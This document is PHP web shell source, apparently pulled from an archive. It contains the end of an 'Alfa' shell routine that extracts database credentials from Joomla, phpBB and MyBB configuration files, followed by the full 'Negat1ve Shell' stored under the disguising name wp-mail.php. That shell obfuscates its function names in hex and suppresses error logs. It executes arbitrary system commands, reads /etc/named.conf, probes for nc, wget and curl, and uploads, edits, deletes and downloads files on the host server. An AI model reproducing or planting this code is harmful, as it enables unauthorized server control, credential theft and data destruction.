'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$cms = 'drupal2';
	}
}
if($cms == "vb"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$path .= '/core';
	}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
	$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
	$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('alfa' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';//'FilesMan';
if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
call_user_func('alfa' . $_POST['a']);
exit;
/*
#Persian Gulf For Ever
#skype : sole.sad
#skype : ehsan.invisible
*/
?>src/ui/wp-mail.php000064400000076675151327062330010056 0ustar00<?php

$shellName = 'Negat1ve Shell';
$logo = 'https://static.wikia.nocookie.net/central/images/1/12/Pacman2.jpg';
$func = ["7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65", "7363616e646972", "73797374656d", "65786563", "7061737374687275", "7368656c6c5f65786563", "6f625f6765745f636f6e74656e7473", "6f625f656e645f636c65616e", "6469726e616d65", "6469736b5f746f74616c5f7370616365", "6469736b5f667265655f7370616365", "696e695f676574", "707265675f6d617463685f616c6c", "706f7369785f6765747077756964", "706f7369785f6765746772676964", "70617468696e666f", "66696c656f776e6572", "66696c6567726f7570", "66696c6574797065", "676574486f73744e616d65", "676574486f737442794e616d65", "737562737472", "737472737472", "696e695f736574", "66696c65", "7374725f7265706c616365", "6578706c6f6465", "6576616c", "6f625f7374617274", "66756e6374696f6e5f657869737473", "6572726f725f7265706f7274696e67", "7365745f74696d655f6c696d6974", "636c656172737461746361636865", "646174655f64656661756c745f74696d657a6f6e655f736574", "666c757368", "7374726c656e", "7472696d", "656d707479", "6973736574", "66696c657065726d73", "7374726c656e", "636f756e74", "726f756e64", "6d696d655f636f6e74656e745f74797065", "6765745f63757272656e745f75736572", "6765746d79756964", "6765746d79676964", "706f7369785f67657465756964", "706f7369785f67657465676964"];

for ($i = 0; $i < count($func); $i++) {
	$func[$i] = dehex($func[$i]);
}

session_start();
$func[50](0);
@$func[51](0);
@$func[52]();
@$func[43]('error_log', null);
@$func[43]('log_errors',0);
@$func[43]('max_execution_time',0);
@$func[43]('output_buffering',0);
@$func[43]('display_errors', 0);
$func[53]("Asia/Jakarta");

if (isset($_GET['dir'])) {
	$dir = $_GET['dir'];
	$func[3]($dir);
} else {
	$dir = $func[2]();
}
	
$d0mains = @$func[44]("/etc/named.conf", false);
if (!$d0mains) {
	$dom = "<font class='text-danger'>Can't Read /etc/named.conf</font>";
} else { 
	$count = 0;
	foreach ($d0mains as $d0main) {
		if (@$func[43]($d0main, "zone")) {
			$func[32]('#zone "(.*)"#', $d0main, $domains);
			$func[54]();
			if ($func[55]($func[56]($domains[1][0])) > 2){
				$func[54]();
				$count++;
			}
		}
	}
	$dom = "<font class='text-success'>$count Domain</font>";
}

$dir = $func[45]("\\", "/", $dir);
$scdir = $func[46]("/", $dir);
$total = $func[29]($dir);
$free = $func[30]($dir);
$pers =  (int) ($free / $total * 100);
$ds = @$func[31]("disable_functions");
$show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>";

$cmd_uname = exe("uname -a");
$uname = $func[49]('php_uname') ? $func[41](@$func[0](), 0, 120) : ($func[55]($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');

if (strtolower($func[41](PHP_OS, 0, 3)) == "win") {
	$sys = "win";
} else {
	$sys = "unix";
}

if (isset($_GET['do'])) {
	$do = $_GET['do'];
	if ($do == 'delete') {
		if ($func[12]($dir)) {
			if (deleter($dir)) {
				flash("File/Folder deleted successfully!", "Success", "success", "?dir=" . dirname($dir));
			} else {
				flash("File/Folder failed to delete!", "Failed", "danger");
			}
		} else {
			flash("File/Folder is doesn't exist!", "Failed", "warning");
		}
	} else if ($do == 'download') {
		if ($func[12]($dir)) {
			header("Content-Type: application/octet-stream");
			header("Content-Transfer-Encoding: Binary");
			header("Content-Length: " . $func[10]($dir));
			header("Content-disposition: attachment; filename=\"".basename($dir)."\"");
		} else {
			flash("File is doesn't exist!", "Failed", "warning");
		}
	}
} else {
	$do = 'filesman';
	$title = 'Files Manager';
	$icon = 'archive';
}

((isset($_POST["foldername"])) ? ($func[12]("$dir/{$_POST['foldername']}") ? flash("Folder name is exist!", "Failed", "warning") : ($func[15]("$dir/{$_POST['foldername']}") ? flash("Folder created successfully!", "Success", "success") : flash("Folder failed to create!", "Failed", "danger"))) : null);

((isset($_POST["filename"]) && isset($_POST['filecontent'])) ? ($func[12]("$dir/{$_POST['filename']}") ? flash("File name is exist!", "Failed", "warning") : ($func[13]("$dir/{$_POST['filename']}", $_POST['filecontent']) ? flash("File created successfully!", "Success", "success") : flash("File failed to create!", "Failed", "danger"))) : null);

((isset($_POST["newname"]) && isset($_POST['oldname'])) ? ($func[12]("$dir/{$_POST['newname']}") ? flash("File/Folder name is exist!", "Failed", "warning") : ($func[16]("$dir/{$_POST['oldname']}", $_POST['newname']) ? flash("File/Folder renamed successfully!", "Success", "success") : flash("File/Folder failed to rename!", "Failed", "danger"))) : null);

((isset($_POST["filename"]) && isset($_POST['content'])) ? ($func[13]("$dir/{$_POST['filename']}", $_POST['content']) ? flash("File saved successfully!", "Success", "success") : flash("File failed to save!", "Failed", "danger")) : null);

if (isset($_FILES["uploadfile"])) {
	$n = $_FILES["uploadfile"]["name"];
	for ($i = 0; $i < count($n); $i++) {
		if ($func[11]($_FILES["uploadfile"]["tmp_name"][$i], $n[$i])) {
			flash("File uploaded successfully!", "Success", "success");
		} else {
			flash("File failed to upload!", "Failed", "danger");
		}
	}
}

if (@$func[31]('open_basedir')) {
	$basedir_data = @$func[31]('open_basedir');
	if ($func[55]($basedir_data) > 120){
		$open_b = "<font class='text-success'>" . $func[41]($basedir_data, 0, 120) . "...</font>";
	} else {
		$open_b = '<font class="text-success">' . $basedir_data . '</font>';
	}
} else {
	$open_b = '<font class="text-warning">NONE</font>';
}

if (!$func[49]('posix_getegid')) {
	$user = $func[49]("get_current_user") ? @$func[64]() : "????";
	$uid = $func[49]("getmyuid") ? @$func[65]() : "????";
	$gid = $func[49]("getmygid") ? @$func[66]() : "????";
	$group = "?";
} else {
	$uid = $func[49]("posix_getpwuid") && $func[49]("posix_geteuid") ? @$func[33]($func[67]()) : ["name" => "????", "uid" => "????"];
	$gid = $func[49]("posix_getgrgid") && $func[49]("posix_getegid") ? @$func[34]($func[68]()) : ["name" => "????", "gid" => "????"];
	$user = $uid['name'];
	$uid = $uid['uid'];
	$group = $gid['name'];
	$gid = $gid['gid'];
}

if ($sys == 'unix') {
	if (!@$func[31]('safe_mode')) {
		if ($func[55](exe("id")) > 0) {
			$userful = ['gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl'];
			$x = 0;
			foreach ($userful as $i) {
				if (which($i)) {
					$x++;
					$useful .= $i . ', ';
				}
			}
			if ($x == 0) {
				$useful = '--------';
			}
			$downloaders = ['wget','fetch','lynx','links','curl','get','lwp-mirror'];
			$x = 0;
			foreach($downloaders as $i) {
				if (which($i)) {
					$x++;
					$downloader .= $i . ', ';
				}
			}
			if ($x == 0) {
				$downloader = '--------';
			}
		}
	}
}

function hex($str) {
	global $func;
	$r = "";
	for ($i = 0; $i < $func[55]($str); $i++) {
		$r .= dechex(ord($str[$i]));
	}
	return $r;
}

function dehex($str) {
	$r = "";
	$len = (strlen($str) - 1);
	for ($i = 0; $i < $len; $i += 2) {
		$r .= chr(hexdec($str[$i].$str[$i + 1]));
	}
	return $r;
}

function formatSize($bytes) {
	$types = array( 'B', 'KB', 'MB', 'GB', 'TB' );
	for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ );
	return( round( $bytes, 2 )." ".$types[$i] );
}

function perms($file) {
	global $func;
	$perms = fileperms($file);
	if (($perms & 0xC000) == 0xC000){
		$info = 's';
	}elseif (($perms & 0xA000) == 0xA000){
		$info = 'l';
	}elseif (($perms & 0x8000) == 0x8000){
		$info = '-';
	}elseif (($perms & 0x6000) == 0x6000){
		$info = 'b';
	}elseif (($perms & 0x4000) == 0x4000){
		$info = 'd';
	}elseif (($perms & 0x2000) == 0x2000){
		$info = 'c';
	}elseif (($perms & 0x1000) == 0x1000){
	$info = 'p';
	}else{
		$info = 'u';
	}
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));
	return $func[41](sprintf('%o', $perms), -4) . ' >> ' .$info;
}

function exe($in) {
	global $func;
	$out = '';
	try {
		if ($func[49]('exec')) {
			@$func[23]($in, $out);
			$out = @join("\n", $out);
		} elseif ($func[49]('passthru')) {
			$func[48]();
			@passthru($in);
			$out = $func[27]();
		} elseif($func[49]('system')) {
			$func[48]();
			@system($in);
			$out = $func[27]();
		} elseif ($func[49]('shell_exec')) {
			$out = $func[25]($in);
		} elseif ($func[49]("popen") && $func[49]("pclose")) {
			if (is_resource($f = @popen($in,"r"))) {
				$out = "";
				while(!@feof($f))
				$out .= fread($f, 1024);
				pclose($f);
			}
		} elseif ($func[49]('proc_open')) {
			$pipes = [];
			$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
			$out = @stream_get_contents($pipes[1]);
		} elseif (class_exists('COM')) {
			$ws = new COM('WScript.shell');
			$exec = $ws->exec('cmd.exe /c '.$in);
			$stdout = $exec->StdOut();
			$out = $stdout->ReadAll();
		}
	} catch(Exception $e) {}
	return $out;
}

function checkName($name) {
	global $func;
	if ($func[55]($name) > 18) {
		return $func[41]($name, 0, 18) . "...";
	}
	return $name;
}

function checkPerm($dir, $perm) {
	global $func;
	$perm = explode('>>', $perm);
	if ($func[8]($dir)) {
		return "<font class='text-success'>".$perm[0]."</font> >> <font class='text-success'>".$perm[1]."</font>";
	} elseif (!$func[9]($dir)) {
		return "<font class='text-danger'>".$perm[0]."</font> >> <font class='text-danger'>".$perm[1]."</font>";
	} else {
		return "<font class='text-secondary'>".$perm[0]."</font> >> <font class='text-secondary'>".$perm[1]."</font>";
	}
}

function getowner($item) {
	global $func;
	if ($func[49]("posix_getpwuid")) {
		$downer = @$func[33](fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if ($func[49]("posix_getgrgid")) {
		$dgrp = @$func[34](filegroup($item));
		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}

function geticon($file) {
	global $func;
	$ext = strtolower($func[35]($file, PATHINFO_EXTENSION));
	if ($ext == 'php' || $ext == 'html' || $ext == 'js' || $ext == 'css' || $ext == 'py' || $ext == 'perl' || $ext == 'sh') {
		return 'file-code';
	} else if ($ext == 'pdf') {
		return 'file-pdf';
	} else if ($ext == 'txt') {
		return 'file-alt';
	} else if ($ext == 'csv') {
		return 'file-csv';
	} else if ($ext == 'jpg' || $ext == 'png' || $ext == 'jpeg' || $ext == 'gif') {
		return 'file-image';
	} else if ($ext == 'mp4' || $ext == '3gp' || $ext == 'mkv') {
		return 'file-video';
	} else if ($ext == 'docx' || $ext == 'doc' || $ext == 'docm') {
		return 'file-word';
	} else if ($ext == 'ppt' || $ext == 'pptx') {
		return 'file-powerpoint';
	} else if ($ext == 'xlsx' || $ext == 'xlsb' || $ext == 'xlsm' || $ext == 'xltx' || $ext == 'xltm') {
		return 'file-excel';
	} else if ($ext == 'mp3' || $ext == 'wav') {
		return 'file-audio';
	} else if ($ext == 'sql' || $ext == 'db') {
		return 'database';
	} else if ($ext == 'zip' || $ext == 'tar' || $ext == 'gz' || $ext == 'tar.gz' || $ext == '7z' || $ext == 'bz2') {
		return 'file-archive';
	} else {
		return 'file';
	}
}

function which($p) {
	global $func;
	$path = exe('which ' . $p);
	if (!empty($path)) {
		return $func[55]($path);
	}
	return false;
}

function flash($message, $status, $class, $redirect = false) {
	if (!empty($_SESSION["message"])) {
		unset($_SESSION["message"]);
	}
	if (!empty($_SESSION["class"])) {
		unset($_SESSION["class"]);
	}
	if (!empty($_SESSION["status"])) {
		unset($_SESSION["status"]);
	}
	$_SESSION["message"] = $message;
	$_SESSION["class"] = $class;
	$_SESSION["status"] = $status;
	if ($redirect) {
		header('Location: ' . $redirect);
		exit();
	}
	return true;
}

function clear() {
	if (!empty($_SESSION["message"])) {
		unset($_SESSION["message"]);
	}
	if (!empty($_SESSION["class"])) {
		unset($_SESSION["class"]);
	}
	if (!empty($_SESSION["status"])) {
		unset($_SESSION["status"]);
	}
	return true;
}

function deleter($d) {
	global $func;
	if (trim($func[35]($d, PATHINFO_BASENAME), '.') === '') {
		return false;
	};
	if ($func[6]($d)) {
		array_map("deleter", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
		rmdir($d);
		return true;
	} else {
		unlink($d);
		return true;
	}
	return false;
}

$scandir = $func[21]($dir);

?>
<!doctype html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
	<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
	<title><?= $shellName ?></title>
</head>
<body>
	<div class="container-lg">
		
		<nav class="navbar navbar-light bg-light">
			<div class="container-fluid">
				<a class="navbar-brand" href="?">
					<img src="<?= $logo ?>" alt="logo" width="30" height="24" class="d-inline-block align-text-top">
					<?= $shellName ?>
				</a>
			</div>
		</nav>
		
		<?php if (isset($_SESSION['message'])) : ?>
		<div class="alert alert-<?= $_SESSION['class'] ?> alert-dismissible fade show my-3" role="alert">
			<strong><?= $_SESSION['status'] ?>!</strong> <?= $_SESSION['message'] ?>
			<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
		</div>
		<?php endif; clear(); ?>

		<div id="tool">
			<div class="d-flex justify-content-center flex-wrap my-3">
				<a href="?" class="m-1 btn btn-outline-dark btn-sm"><i class="fa fa-home"></i> Home</a>
				<a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a>
				<a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfile" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-file-plus"></i> New File</a>
				<a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfolder" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-folder-plus"></i> New Folder</a>
			</div>
			
			<div class="row">
				<div class="col-md-12">
					<div class="collapse" id="upload" data-bs-parent="#tool">
						<div class="card card-body border-dark mb-3">
							<div class="row">
								 <div class="col-md-6">
									<form action="" method="post" enctype="multipart/form-data">
										<div class="input-group">
											<input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
											<button class="btn btn-outline-dark" type="submit" id="inputGroupFileAddon04">Upload</button>
										</div>
									</form>
								 </div>
							</div>
						</div>
					</div>
				</div>
				<div class="col-md-12">
					<div class="collapse" id="newfile" data-bs-parent="#tool">
						<div class="card card-body border-dark mb-3">
							<div class="row">
								<div class="col-md-6">
									<form action="" method="post">
										<div class="mb-3">
											<label class="form-label">File Name</label>
											<input type="text" class="form-control" name="filename" placeholder="negat1ve.txt">
										</div>
										<div class="mb-3">
											<label class="form-label">File Content</label>
											<textarea class="form-control" rows="5" name="filecontent"></textarea>
										</div>
										<button type="submit" class="btn btn-outline-dark">Create</button>
									</form>
								</div>
							</div>
						</div>
					</div>
				</div>
				<div class="col-md-12">
					<div class="collapse" id="newfolder" data-bs-parent="#tool">
						<div class="card card-body border-dark mb-3">
							<div class="row">
								<div class="col-md-6">
									<form action="" method="post">
										<div class="mb-3">
											<label class="form-label">Folder Name</label>
											<input type="text" class="form-control" name="foldername" placeholder="negat1ve">
										</div>
										<button type="submit" class="btn btn-outline-dark">Create</button>
									</form>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<div class="row">
			<div class="col-md-12">
				<div class="card border-dark">
					<div class="card-body">
						<h5><i class="fas fa-angry"></i> Server Information </h5>
						<div class="table-responsive">
							<table class="table table-hover text-nowrap">
								<tr>
									<td>Operating System</td>
									<td> : <?= $uname ?></td>
								</tr>
								<tr>
									<td>PHP Version</td>
									<td> : <?= $func[1]() ?></td>
								</tr>

								<tr>
									<td>Storage</td>
									<td class="d-flex">: Total = <?= formatSize($total) ?>, Free = <?= formatSize($free) ?> [<?= $pers ?>%]</td>
								</tr>

								<tr>
									<td>Disable Functions</td>
									<td>: <?= $show_ds ?></td>
								</tr>

								<tr>
									<td colspan="2">CURL : <?= $func[49]('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | SSH2 : <?= $func[49]('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Magic Quotes : <?= $func[49]('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MySQL : <?= $func[49]('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MSSQL : <?= $func[49]('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | PostgreSQL : <?= $func[49]('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Oracle : <?= $func[49]('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td>
								</tr>
								<tr>
									<td colspan="2">Safe Mode : <?= @$func[31]('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir : <?= @$func[31]('safe_mode_exec_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_exec_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?> | Safe Mode Include Dir : <?= @$func[31]('safe_mode_include_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_include_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?></td>
								</tr>
							</table>
						</div>
					</div>
				</div>
			</div>
			<div class="col-md-12 my-3">
				<div class="card border-dark">
					<div class="card-body">
						<h5><i class="fas fa-angry"></i> Path </h5>
						<nav aria-label="breadcrumb" style="--bs-breadcrumb-divider: '>';">
							<ol class="breadcrumb">
								<?php
									$numDir = count($scdir);
									foreach ($scdir as $id => $pat) {
										if ($pat == '' && $id == 0) {
											echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=/">/</a></li>';
											continue;
										}
										if ($pat == '') continue;
										if ($id + 1 == $numDir) {
											echo '<li class="breadcrumb-item active" aria-current="page">'.$pat.'</li>';
										} else {
											echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=';
											for ($i = 0; $i <= $id; $i++) {
												echo "$scdir[$i]";
												if ($i != $id) echo "/";
											}
											echo '">'.$pat.'</a></li>';
										}
									}
								?>
							</ol>
						</nav>
						[ <?= checkPerm($dir, perms($dir)) ?> ]
					</div>
				</div>
			</div>
			<div class="col-md-12" id="main">
				<div class="card border-dark overflow-auto">
					<div class="card-body">
						<h5><i class="fa fa-<?= $icon ?>"></i> <?= $title ?></h5>
						<?php if ($do == 'view') : ?>
							<h1>Anjing</h1>
						<?php else: ?>
							<?php if ($func[9]($dir)) : ?>
								<div class="table-responsive">
									<table class="table table-hover text-nowrap">
										<thead>
											<tr>
												<th>Name</th>
												<th>Type</th>
												<th>Size</th>
												<th>Last Modified</th>
												<th>Owner/Group</th>
												<th>Permission</th>
												<th>Action</th>
											</tr>
										</thead>
										<tbody>
											<?php
												foreach ($scandir as $item) :
													if (!$func[6]($dir . '/' . $item)) continue;
											?>
												<tr>
													<td>
														<?php if ($item === '..') : ?>
														<a href="?dir=<?= $func[28]($dir); ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a>
														<?php elseif ($item === '.') :  ?>
														<a href="?dir=<?= $dir; ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a>
														<?php else : ?>
														<a href="?dir=<?= $dir . '/' . $item ?>" class="text-decoration-none text-dark"><i class="fa fa-folder"></i> <?= checkName($item); ?></a>
														<?php endif; ?>
													</td>
													<td><?= $func[38]($item) ?></td>
													<td class="align-middle">--</td>
													<td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td>
													<td><?= getowner($item) ?></td>
													<td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item))  ?></td>
													<td>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="'.$item.'"' ?>><i class="fa fa-edit"></i></button>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="'.$dir . '/' . $item.'"'?>><i class="fa fa-trash-alt"></i></button>
													</td>
												</tr>
											<?php endforeach; ?>
											<?php
												foreach ($scandir as $item) :
													if (!$func[7]($dir . '/' . $item)) continue;
											?>
												<tr>
													<td><a data-bs-toggle="modal" href="#viewModal" role="button" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>" class="text-dark text-decoration-none"><i class="fa fa-<?= geticon($item) ?>"></i> <?= checkName($item); ?></a></td>
													<td><?= checkName(($func[49]('mime_content_type') ? $func[63]($item) : $func[38]($item))) ?></td>
													<td><?= formatSize($func[10]($item)) ?></td>
													<td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td>
													<td><?= getowner($item) ?></td>
													<td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item))  ?></td>
													<td>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="<?= $item ?>"><i class="fa fa-edit"></i></button>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#viewModal" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>"><i class="fa fa-file-signature"></i></button>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#downloadModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-download"></i></button>
														<button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-trash-alt"></i></button>
													</td>
												</tr>
											<?php endforeach; ?>
										</tbody>
									</table>
								</div>
							<?php else: ?>
								<font class="text-danger">Can't read this directory!</font>
							<?php endif; ?>
						<?php endif; ?>
					</div>
				</div>
			</div>
			<div class="col-md-12 my-3">
				<div class="card border-dark">
					<div class="card-body">
						Copyright negat1ve1337@gmail.com <span class="float-end">Coded by <span class="text-muted">Negat1ve</span></span>
					</div>
				</div>
			</div>
		</div>
	</div>
	
	<div class="modal fade" id="renameModal" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
	  <div class="modal-dialog modal-dialog-centered">
	    <div class="modal-content">
	      <div class="modal-header">
	        <h5 class="modal-title" id="renameModalLabel">Rename</h5>
	        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
	      </div>
	      <form method="post" id="rename-form">
		      <div class="modal-body">
		          <div class="mb-3">
		            <label for="newname" class="col-form-label">New Name:</label>
		            <input type="text" class="form-control" name="newname" id="newname">
		          </div>
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
		        <button type="submit" class="btn btn-primary">Rename</button>
		      </div>
        </form>
	    </div>
	  </div>
	</div>
	
	<div class="modal fade" id="deleteModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
	  <div class="modal-dialog modal-dialog-centered">
	    <div class="modal-content">
	      <div class="modal-header">
	        <h5 class="modal-title" id="exampleModalToggleLabel2">Delete</h5>
	        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
	      </div>
	      <div class="modal-body">
	        Are you sure want to delete this?
	      </div>
	      <div class="modal-footer">
	        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
	        <a href="" class="btn btn-danger" id="delete-confirm">Delete</a>
	      </div>
	      
	    </div>
	  </div>
	</div>
	
	<div class="modal fade" id="downloadModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
	  <div class="modal-dialog modal-dialog-centered">
	    <div class="modal-content">
	      <div class="modal-header">
	        <h5 class="modal-title" id="exampleModalToggleLabel2">Download</h5>
